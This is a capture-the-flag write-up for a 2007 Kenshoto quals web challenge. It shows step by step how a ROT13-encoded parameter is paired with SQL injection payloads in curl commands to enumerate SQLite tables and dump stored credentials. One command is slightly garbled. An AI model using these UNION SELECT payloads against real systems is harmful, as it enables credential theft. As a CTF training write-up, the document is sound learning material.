As usual, more midgets are lose in Kenshoto land. First task for Web
400 is to play with and look at all the user-input and notice what's
new from previous challenges. Using a proxy or browser extension to trap
outgoing requests, you'll notice that navigation around the page seems to
be using a function go("Jump","Something"). The "Something" should look
interesting, you'll notice the go function calls that variable a hash, and
you should be able to pair up the following hashes with jump locations:
| Location | Hash |
|---|
| Focus | Sbphf |
| Interbob | Vagreobo |
| Verbal | Ireony |
It should be fairly obvious that this isn't exactly a "real" hash as
the output is the same length, all alphanumeric, and even matches the same
case as the input! Sure does look like ROT13. Let's see if we can do
some SQL injection if we match up a ROT13 "hash" for our query.
curl -s --d midgetName="Verbal' or 1==1--" d hash="Ireony' be 1==1--" -d location=Jump \
http://quals07.allyourboxarebelongto.us:8093/onelastmidget/|lynx -stdin -dump
This gives us:
Midget Name Midget Desc
Focus This kid is alot of fun, but requires a ride because his tires suck
Interbob Flys a thorax in .1 , but he seems to have a serious issue with ratts in 0.0
Verbal Enjoys a nice quiet date at fuddruckers where he will dine on.... .. .. chicken?
Ahh, the classic OR 1==1. Looks like we've got SQL injection! Let's see
if we can just randomly guess a username and password.
INJECT="' UNION SELECT username,password FROM User--"; ROT=$(echo "$INJECT" | \
tr a-zA-Z n-za-mN-ZA-M); curl -s -d midgetName="$INJECT" -d location=Jump -d hash="$ROT" \
'http://quals07.allyourboxarebelongto.us:8093/onelastmidget/'|lynx -stdin -dump
Gives us:
OH SHIT SQLITE ERROR : no such table: User
select midgetName , midgetDesc from midgets where midgetName = '' UNION
SELECT username,password FROM User--'
Hmm, no joy. Well, at least we now know it's SQLite. Let's find some SQLite
docs and figure out how to get a dump of a list of all the tables in the
database. Note that since the original SQL query reports two columns ("Midget
Name" and "Midget Desc") we'll need to produce the same number of columns
when we perform a "UNION SELECT" injection.
INJECT="' UNION SELECT name,name FROM sqlite_master WHERE type='table'--"; ROT=$(echo "$INJECT" | \
tr a-zA-Z n-za-mN-ZA-M); curl -si -d midgetName="$INJECT" -d location=Jump -d hash="$ROT" \
'http://quals07.allyourboxarebelongto.us:8093/onelastmidget/'|lynx -stdin -dump
Gives us:
Midget Name Midget Desc
midgetUser midgetUser
midgets midgets
From the earlier error message, we know the "midgets" table isn't what we
want, so let's guess at the table fields.
INJECT="' UNION SELECT username,password FROM midgetUser--"; ROT=$(echo "$INJECT" | \
tr a-zA-Z n-za-mN-ZA-M); curl -si -d midgetName="$INJECT" -d location=Jump -d hash="$ROT" \
'http://quals07.allyourboxarebelongto.us:8093/onelastmidget/'|lynx -stdin -dump
Gives us:
Midget Name Midget Desc
m1dgetl0ver w00tisteHpass
Which leads to our money shot:
curl -s -d username="m1dgetl0ver" -d password="w00tisteHpass" -d location="Login" \
http://quals07.allyourboxarebelongto.us:8093/onelastmidget/|lynx -stdin -dump
And the key:
Hey Lookie there your not so bad at this. dis ur key : FalcorHasBigEars
This felt a whole lot like real-world SQL injections, and it really felt
great to build up the attack on it.
After quals, Kenshoto gave us the
source code to Web 400.
